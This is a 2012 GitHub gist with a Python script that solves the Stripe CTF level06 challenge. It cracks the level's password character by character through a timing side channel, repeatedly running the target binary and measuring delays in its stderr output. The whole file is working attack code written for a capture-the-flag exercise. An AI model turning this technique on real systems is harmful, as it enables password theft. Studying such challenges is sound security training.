Created
March 1, 2012 05:25
-
-
Save mediaupstream/1947510 to your computer and use it in GitHub Desktop.
Stripe CTF level06 - Python FTW!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import sys | |
| import subprocess | |
| from operator import itemgetter | |
| import time | |
| dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' # a-zA-Z0-9 | |
| cmd = './level06' # replace this with the path to level06 executable | |
| pwd = './.password' # replace this with the path to the .password file you want to crack | |
| password = '' # this will eventually hold the real password | |
| tries = 4 # increase this for accuracy, decrease for speed - your call | |
| # ----------------------------------- | |
| # check if we have failed | |
| def fail(password): | |
| tryit = subprocess.Popen([cmd, pwd, password], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # try the program with our password | |
| stdout, stderr = tryit.communicate() # grab the stdout from /bin/echo | |
| return True if(stdout == 'Ha ha, your password is incorrect!\n') else False # report our password truthness | |
| # ----------------------------------- | |
| # a bruteforce funtime | |
| def crack(attempt): | |
| global password | |
| dots = len(password) + 1 # how many dots we expect ( +1 since we are adding a random * to our input) | |
| attempt = password + attempt # assemble our guess string | |
| timing = subprocess.Popen([cmd, pwd, attempt +'*'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # try it with the real program | |
| timing.stderr.read(33) # skip the cruft "Welcome...blah blah" | |
| start = 0.0 # normalize start time | |
| stop = 0.0 # normalize end time | |
| while timing.stderr.read(1) != '': # read through our stderr message | |
| if dots == 0: # no more dots end of stderr! | |
| stop = time.time() # track our end time now | |
| break | |
| elif dots == 1: # track last dot | |
| start = time.time() # start the timer | |
| dots -= 1 # decrement our dots counter | |
| return (stop - start) # return delta crack time | |
| # ----------------------------------- | |
| # funtime cracking loop | |
| def loop(): | |
| global password | |
| z = dict((char, 0.0) for char in dic) # normalize our dictionary list of crack deltas | |
| for c in dic: # loop through all characters in our `dic` (a-zA-Z0-9) | |
| result = 'Password: {0}{1} \r'.format(password, c) # pretty print what's happenin' | |
| sys.stdout.write(result) | |
| sys.stdout.flush() | |
| for trial in range(tries): # the greater the `trial` count the more accurate and slower to process | |
| z[c] += crack(c) # aggregate results from crack / timing delta results | |
| z = sorted(z.items(), key=itemgetter(1), reverse=False) # sort our crack deltas from highest to lowest | |
| password += z[0][0] # grab the key off this dude, he's probably a correct letter so add to the global `password` | |
| # ----------------------------------- | |
| # DO IT UNTIL WE WIN!!!!! | |
| while fail(password): | |
| loop() | |
| # ----------------------------------- | |
| # well, did we get it right? | |
| result = 'Password: {0}\r\n... fuckin right.\n'.format(password) | |
| sys.stdout.write(result) | |
| sys.stdout.flush() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment